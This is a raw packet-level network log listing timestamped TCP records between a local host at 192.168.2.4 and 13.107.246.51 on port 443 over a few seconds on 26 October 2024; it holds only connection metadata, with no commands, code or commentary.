Oct 26, 2024 13:45:48.925364971 CEST	49950	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:48.925378084 CEST	443	49950	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:48.925757885 CEST	49950	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:48.925772905 CEST	443	49950	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:48.983010054 CEST	443	49951	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:48.983417988 CEST	49951	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:48.983428001 CEST	443	49951	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:48.983866930 CEST	49951	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:48.983870983 CEST	443	49951	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:49.035919905 CEST	443	49949	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:49.036016941 CEST	443	49949	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:49.036073923 CEST	49949	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:49.036329031 CEST	49949	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:49.036353111 CEST	443	49949	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:49.036361933 CEST	49949	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:49.036366940 CEST	443	49949	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:49.039752007 CEST	49954	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:49.039771080 CEST	443	49954	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:49.039844036 CEST	49954	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:49.040019989 CEST	49954	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:49.040029049 CEST	443	49954	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:49.091469049 CEST	443	49950	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:49.091500998 CEST	443	49950	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:49.091557026 CEST	49950	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:49.091559887 CEST	443	49950	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:49.091653109 CEST	49950	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:49.091805935 CEST	49950	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:49.091805935 CEST	49950	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:49.091826916 CEST	443	49950	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:49.091836929 CEST	443	49950	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:49.094727993 CEST	49955	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:49.094767094 CEST	443	49955	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:49.094856977 CEST	49955	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:49.095022917 CEST	49955	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:49.095041037 CEST	443	49955	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:49.113282919 CEST	443	49951	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:49.113372087 CEST	443	49951	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:49.113483906 CEST	49951	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:49.113533974 CEST	49951	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:49.113554955 CEST	443	49951	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:49.113569021 CEST	49951	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:49.113575935 CEST	443	49951	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:49.116416931 CEST	49956	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:49.116461992 CEST	443	49956	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:49.116537094 CEST	49956	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:49.116709948 CEST	49956	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:49.116728067 CEST	443	49956	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:49.284869909 CEST	443	49953	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:49.285523891 CEST	49953	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:49.285553932 CEST	443	49953	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:49.286016941 CEST	49953	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:49.286026001 CEST	443	49953	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:49.418564081 CEST	443	49953	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:49.418631077 CEST	443	49953	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:49.418759108 CEST	443	49953	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:49.418770075 CEST	49953	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:49.418884993 CEST	49953	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:49.419349909 CEST	49953	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:49.419379950 CEST	443	49953	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:49.419394016 CEST	49953	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:49.419399977 CEST	443	49953	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:49.422555923 CEST	49957	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:49.422605038 CEST	443	49957	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:49.422713041 CEST	49957	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:49.422883987 CEST	49957	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:49.422897100 CEST	443	49957	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:49.779639959 CEST	443	49954	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:49.780284882 CEST	49954	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:49.780322075 CEST	443	49954	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:49.780797005 CEST	49954	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:49.780807972 CEST	443	49954	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:49.844432116 CEST	443	49955	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:49.844892025 CEST	49955	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:49.844924927 CEST	443	49955	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:49.845345020 CEST	49955	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:49.845350981 CEST	443	49955	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:49.856838942 CEST	443	49956	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:49.857214928 CEST	49956	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:49.857255936 CEST	443	49956	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:49.857620001 CEST	49956	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:49.857625961 CEST	443	49956	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:49.911864042 CEST	443	49954	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:49.911935091 CEST	443	49954	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:49.912097931 CEST	49954	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:49.912539959 CEST	49954	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:49.912580967 CEST	443	49954	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:49.912610054 CEST	49954	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:49.912626982 CEST	443	49954	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:49.915940046 CEST	49958	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:49.915951967 CEST	443	49958	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:49.916049957 CEST	49958	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:49.916229963 CEST	49958	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:49.916246891 CEST	443	49958	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:49.979537010 CEST	443	49955	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:49.979609966 CEST	443	49955	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:49.979825020 CEST	49955	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:49.979901075 CEST	49955	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:49.979901075 CEST	49955	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:49.979935884 CEST	443	49955	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:49.979967117 CEST	443	49955	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:49.982758045 CEST	49959	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:49.982774019 CEST	443	49959	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:49.982860088 CEST	49959	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:49.983051062 CEST	49959	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:49.983063936 CEST	443	49959	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:49.990567923 CEST	443	49956	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:49.990600109 CEST	443	49956	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:49.990642071 CEST	443	49956	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:49.990695953 CEST	49956	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:49.990772963 CEST	49956	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:49.991108894 CEST	49956	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:49.991131067 CEST	443	49956	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:49.991143942 CEST	49956	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:49.991149902 CEST	443	49956	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:49.993494034 CEST	49960	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:49.993540049 CEST	443	49960	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:49.993616104 CEST	49960	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:49.993746042 CEST	49960	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:49.993763924 CEST	443	49960	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:50.037905931 CEST	443	49952	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:50.040113926 CEST	49952	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:50.040158033 CEST	443	49952	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:50.040633917 CEST	49952	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:50.040644884 CEST	443	49952	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:50.185266018 CEST	443	49952	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:50.185365915 CEST	443	49952	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:50.185481071 CEST	49952	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:50.185997009 CEST	49952	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:50.186033010 CEST	443	49952	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:50.186048031 CEST	49952	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:50.186055899 CEST	443	49952	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:50.187637091 CEST	443	49957	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:50.189706087 CEST	49961	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:50.189747095 CEST	443	49961	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:50.190121889 CEST	49957	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:50.190150023 CEST	443	49957	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:50.190176010 CEST	49961	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:50.190299988 CEST	49961	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:50.190313101 CEST	443	49961	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:50.190710068 CEST	49957	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:50.190715075 CEST	443	49957	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:50.322190046 CEST	443	49957	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:50.322268963 CEST	443	49957	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:50.322606087 CEST	49957	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:50.322606087 CEST	49957	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:50.322606087 CEST	49957	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:50.325500965 CEST	49962	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:50.325567961 CEST	443	49962	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:50.325648069 CEST	49962	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:50.325794935 CEST	49962	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:50.325810909 CEST	443	49962	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:50.631778002 CEST	49957	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:50.631803036 CEST	443	49957	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:50.664913893 CEST	443	49958	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:50.665599108 CEST	49958	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:50.665642023 CEST	443	49958	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:50.666142941 CEST	49958	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:50.666157961 CEST	443	49958	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:50.732610941 CEST	443	49960	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:50.736664057 CEST	49960	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:50.736685991 CEST	443	49960	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:50.737191916 CEST	49960	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:50.737206936 CEST	443	49960	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:50.754293919 CEST	443	49959	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:50.755851030 CEST	49959	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:50.755928993 CEST	443	49959	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:50.756272078 CEST	49959	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:50.756287098 CEST	443	49959	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:50.801028013 CEST	443	49958	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:50.801115036 CEST	443	49958	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:50.801244020 CEST	49958	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:50.801253080 CEST	443	49958	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:50.801326990 CEST	49958	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:50.801551104 CEST	49958	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:50.801573038 CEST	443	49958	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:50.805520058 CEST	49963	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:50.805532932 CEST	443	49963	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:50.806284904 CEST	49963	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:50.806284904 CEST	49963	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:50.806313992 CEST	443	49963	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:50.862217903 CEST	443	49960	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:50.862293959 CEST	443	49960	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:50.862348080 CEST	49960	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:50.862577915 CEST	49960	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:50.862598896 CEST	443	49960	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:50.862612009 CEST	49960	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:50.862617970 CEST	443	49960	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:50.869292021 CEST	49964	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:50.869340897 CEST	443	49964	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:50.869489908 CEST	49964	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:50.869596958 CEST	49964	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:50.869606972 CEST	443	49964	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:50.887443066 CEST	443	49959	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:50.887518883 CEST	443	49959	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:50.887573957 CEST	49959	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:50.887979984 CEST	49959	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:50.888003111 CEST	443	49959	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:50.888014078 CEST	49959	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:50.888020039 CEST	443	49959	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:50.892410994 CEST	49965	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:50.892460108 CEST	443	49965	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:50.892518997 CEST	49965	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:50.892671108 CEST	49965	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:50.892687082 CEST	443	49965	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:50.921596050 CEST	443	49961	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:50.922290087 CEST	49961	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:50.922306061 CEST	443	49961	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:50.922784090 CEST	49961	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:50.922792912 CEST	443	49961	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:51.052311897 CEST	443	49961	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:51.052485943 CEST	443	49961	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:51.052618980 CEST	49961	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:51.052763939 CEST	49961	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:51.052782059 CEST	443	49961	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:51.052793980 CEST	49961	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:51.052800894 CEST	443	49961	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:51.055917025 CEST	49966	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:51.055969954 CEST	443	49966	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:51.056061983 CEST	49966	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:51.056219101 CEST	49966	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:51.056230068 CEST	443	49966	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:51.097417116 CEST	443	49962	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:51.098030090 CEST	49962	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:51.098052025 CEST	443	49962	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:51.098568916 CEST	49962	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:51.098575115 CEST	443	49962	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:51.272593021 CEST	443	49962	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:51.272639036 CEST	443	49962	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:51.272715092 CEST	443	49962	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:51.272862911 CEST	49962	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:51.272936106 CEST	49962	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:51.273272038 CEST	49962	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:51.273292065 CEST	443	49962	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:51.273303986 CEST	49962	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:51.273309946 CEST	443	49962	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:51.277110100 CEST	49967	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:51.277170897 CEST	443	49967	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:51.277296066 CEST	49967	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:51.277513027 CEST	49967	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:51.277527094 CEST	443	49967	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:51.536096096 CEST	443	49963	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:51.536655903 CEST	49963	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:51.536678076 CEST	443	49963	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:51.537177086 CEST	49963	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:51.537185907 CEST	443	49963	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:51.616425991 CEST	443	49964	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:51.617402077 CEST	49964	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:51.617429018 CEST	443	49964	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:51.617971897 CEST	49964	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:51.617990017 CEST	443	49964	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:51.625186920 CEST	443	49965	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:51.625916958 CEST	49965	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:51.625952959 CEST	443	49965	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:51.626394033 CEST	49965	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:51.626399994 CEST	443	49965	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:51.680840969 CEST	443	49963	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:51.680918932 CEST	443	49963	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:51.680979967 CEST	49963	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:51.681333065 CEST	49963	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:51.681345940 CEST	443	49963	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:51.681358099 CEST	49963	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:51.681364059 CEST	443	49963	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:51.685328960 CEST	49968	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:51.685350895 CEST	443	49968	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:51.685442924 CEST	49968	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:51.685709000 CEST	49968	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:51.685714960 CEST	443	49968	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:51.746320009 CEST	443	49964	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:51.746365070 CEST	443	49964	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:51.746428013 CEST	443	49964	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:51.746722937 CEST	49964	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:51.746722937 CEST	49964	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:51.747076035 CEST	49964	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:51.747076035 CEST	49964	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:51.747091055 CEST	443	49964	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:51.747098923 CEST	443	49964	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:51.750758886 CEST	49969	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:51.750811100 CEST	443	49969	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:51.750931978 CEST	49969	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:51.751076937 CEST	49969	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:51.751082897 CEST	443	49969	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:51.756531954 CEST	443	49965	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:51.756630898 CEST	443	49965	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:51.756694078 CEST	49965	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:51.756839991 CEST	49965	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:51.756860971 CEST	443	49965	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:51.756871939 CEST	49965	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:51.756877899 CEST	443	49965	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:51.760366917 CEST	49970	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:51.760404110 CEST	443	49970	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:51.760509014 CEST	49970	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:51.760652065 CEST	49970	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:51.760660887 CEST	443	49970	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:51.810661077 CEST	443	49966	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:51.811412096 CEST	49966	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:51.811428070 CEST	443	49966	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:51.812127113 CEST	49966	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:51.812130928 CEST	443	49966	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:51.942563057 CEST	443	49966	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:51.942603111 CEST	443	49966	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:51.942662954 CEST	443	49966	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:51.942837954 CEST	49966	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:51.942837954 CEST	49966	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:51.943221092 CEST	49966	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:51.943221092 CEST	49966	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:51.943233967 CEST	443	49966	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:51.943243027 CEST	443	49966	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:51.947232962 CEST	49971	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:51.947273016 CEST	443	49971	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:51.947366953 CEST	49971	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:51.947632074 CEST	49971	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:51.947642088 CEST	443	49971	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:52.007369995 CEST	443	49967	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:52.008210897 CEST	49967	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:52.008223057 CEST	443	49967	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:52.008933067 CEST	49967	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:52.008936882 CEST	443	49967	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:52.138097048 CEST	443	49967	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:52.138191938 CEST	443	49967	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:52.138247967 CEST	49967	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:52.138593912 CEST	49967	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:52.138608932 CEST	443	49967	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:52.138619900 CEST	49967	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:52.138626099 CEST	443	49967	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:52.148988962 CEST	49972	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:52.149019957 CEST	443	49972	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:52.149085045 CEST	49972	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:52.150170088 CEST	49972	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:52.150178909 CEST	443	49972	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:52.440135956 CEST	443	49968	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:52.440896988 CEST	49968	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:52.440911055 CEST	443	49968	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:52.441525936 CEST	49968	443	192.168.2.4	13.107.246.51
